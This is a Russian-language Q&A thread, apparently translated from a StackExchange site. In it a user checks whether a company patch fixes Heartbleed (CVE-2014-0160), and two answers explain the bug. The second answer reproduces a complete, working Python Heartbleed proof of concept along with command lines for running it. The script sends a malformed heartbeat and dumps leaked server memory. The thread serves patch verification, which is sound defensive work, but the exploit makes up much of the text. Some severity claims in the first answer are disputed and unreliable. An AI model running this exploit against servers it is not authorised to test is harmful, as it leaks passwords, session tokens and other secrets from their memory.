6

У меня есть задача проверить исправление программного обеспечения нашей компании, которое решает проблему атаки Heartbleed .

Теперь я уверен, что версия программного обеспечения, которую я пытаюсь использовать, использует 1.0.1e библиотеку OpenSSL, которая должна быть уязвимой. Тем не менее, я опробовал несколько инструментов тестирования Heartbleed, и все они говорят, что в ответ произошла ошибка и что мое приложение, вероятно, не уязвимо.

В ходе тестирования инструмент CardiacArrest возвратил:

[INFO] Connecting to 10.63.62.79:443 using TLSv1.2
[INFO] Sending ClientHello
[INFO] ServerHello received
[INFO] Sending Heartbeat
[INFO] The server received an alert. It is likely not vulnerable.
[INFO] Alert Level: fatal
[INFO] Alert Description: Unexpected message (see RFC 5246 section 7.2)
[INFO] Closing connection

После консультации с RFC 5264 я нашел больше информации о "Неожиданном сообщении":

unexpected_message
Неуместное сообщение было получено. Это предупреждение всегда фатально и никогда не должно наблюдаться при обмене данными между правильными реализациями.

Вопросы:

  • Может кто-нибудь пролить свет на этот результат?
  • Мог ли OpenSSL быть скомпилирован без расширения Heartbeat?
  • Есть ли способ перечислить расширения, скомпилированные в OpenSSL?

Большое спасибо!

2 ответа2

2

Не каждый продукт, использующий уязвимую библиотеку OpenSSL, автоматически уязвим для Heartbeat. Это ошибка уровня SSL/TLS, а не ошибка основного крипто-кода. Все зависит от того, как ваш продукт использует библиотеку.

Сама ошибка не так серьезна, как рекламируется, поскольку она отправляет обратно 64 КБ памяти программы, которая следует за буфером отправки. Этот блок может содержать или не содержать конфиденциальные данные. И даже если он содержит такие данные, хакер все равно должен изолировать их от окружающего мусора.

Существует довольно много продуктов, которые используют уязвимую библиотеку OpenSSL, но сами не являются уязвимыми только потому, что неправильно обрабатывают это состояние ошибки (ошибки, защищающие от ошибок). Ваш продукт может быть одним из них.

Вы должны установить какой-нибудь анализатор строк, такой как Wireshark, и наблюдать за пакетом сообщений Heartbeat и его ответом. Если ответ очень длинный и приближается к 64 КБ, значит, ваш продукт уязвим. Если оно короткое, каким бы ошибочным оно ни было, вы не уязвимы.

Лучшее решение - это, конечно, исправление библиотеки OpenSSL.

Информация Heartbleed

Хорошее объяснение этой ошибки можно найти в статье Anatomy of Heartbleed OpenSSL :

Heartbleed

C-код в OpenSSL, который вызывает ошибку:

/* Enter response type, length and copy payload */
*bp++ = TLS1_HB_RESPONSE;
s2n(payload, bp);
memcpy(bp, pl, payload);

Этот код исправляется простой проверкой полезной нагрузки переменной перед вызовом memcpy (функция копирования из памяти).

Отправляются только 64 КБ, следующие за созданным сообщением. Само сообщение выделяется в памяти, предположительно, функцией malloc(), поэтому не всегда может быть расположено по одному адресу. Тем не менее, существуют пределы, в которых данные могут быть извлечены.

Это означает, что истории о чтении всей памяти процесса с помощью этой ошибки - просто страшные истории, хотя с небольшой вероятностью злоумышленник может удачно получить и получить очень важные данные. Все зависит от того, как был запрограммирован атакованный продукт, и от его точного расположения в памяти.

1

Прежде всего, было продемонстрировано, что Heartbleed может сканировать память процессов (64 КБ за раз), поэтому это очень серьезно. Даже без этого, данные, которые можно увидеть, легко раскрывают такие вещи, как пароли, токены сеансов и ряд других вещей (особенно для приложений PHP, на которые я смотрел).

Помните, что Hearbleed влияет на TLS 1.1 и 1.2, и поэтому, если вы тестируете, вам нужно указать это. (Я не могу быть уверен, что ограничение версии SSL - это полезное решение; лучше всего исправить и заменить)

Неизвестное сообщение, в данном случае, весьма вероятно, означает, что вы запросили параметр, который не подходит (или не поддерживается) на одноранговом узле. Вы можете получить это, если вы не укажете TLS 1.2.

Я использовал маленький инструмент Python, созданный Джаредом Стаффордом. Поучительно запускать это, используя watch чтобы увидеть, что вы можете увидеть. Его нет на его сайте, поэтому я включил его ниже. Вы захотите запустить его, используя что-то вроде ./heartbleed --port 443 --ver 2 SERVER_IP

Я считаю, что более полезно запустить следующее:

 ./heartbleed.py somewebserver.example.com -v2 | fgrep -v '................'

или же:

./heartbleed.py somewebserver.example.com --port 443 -v 2 | grep 'server is vulnerable'

У меня нет каких-либо непропатченных серверов, чтобы продемонстрировать это, но если они уязвимы, вы получите дамп hex/ASCII найденного материала, который может быть интересно посмотреть. Вы также получите на server is vulnerable сообщение.

#!/usr/bin/python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
#
# -shirk added TLS version
# -jpicht added SMTP STARTTLS hack

import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
options.add_option('-s', '--smtp-starttls', action="store_true", dest="smtpstarttls", help='Issue SMTP STARTTLS command and wait for data')
options.add_option('-v', '--ver', type='int', default=1, help='TLS version 1 is 1.0, 2 is 1.1, 3 is 1.2 (default: 1)')

def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01
''')

hbv10 = h2bin('''
18 03 01 00 03
01 40 00
''')

hbv11 = h2bin('''
18 03 02 00 03
01 40 00
''')

hbv12 = h2bin('''
18 03 03 00 03
01 40 00
''')


def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print '  %04x: %-48s %s' % (b, hxdat, pdat)
    print

def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata


def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay

def hit_hb(s):
    #s.send()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False

        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True

        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False

def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    sys.stdout.flush()
    s.connect((args[0], opts.port))

    if opts.smtpstarttls:
        print 'Sending STARTTLS...'
        sys.stdout.flush()
        s.send("STARTTLS\n")
        print 'Waiting for reply...'
        sys.stdout.flush()
        recvall(s, 100000, 1)

    print 'Sending Client Hello...'
    sys.stdout.flush()
    s.send(hello)
    print 'Waiting for Server Hello...'
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print 'Server closed connection without sending Server Hello.'
            return
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break

    print 'Sending heartbeat request...'
    sys.stdout.flush()
    if (opts.ver == 1):
        s.send(hbv10)
        hit_hb(s)
    if (opts.ver == 2):
        s.send(hbv11)
        hit_hb(s)
    if (opts.ver == 3):
        s.send(hbv12)
        hit_hb(s)


if __name__ == '__main__':
    main()

Всё ещё ищете ответ? Посмотрите другие вопросы с метками .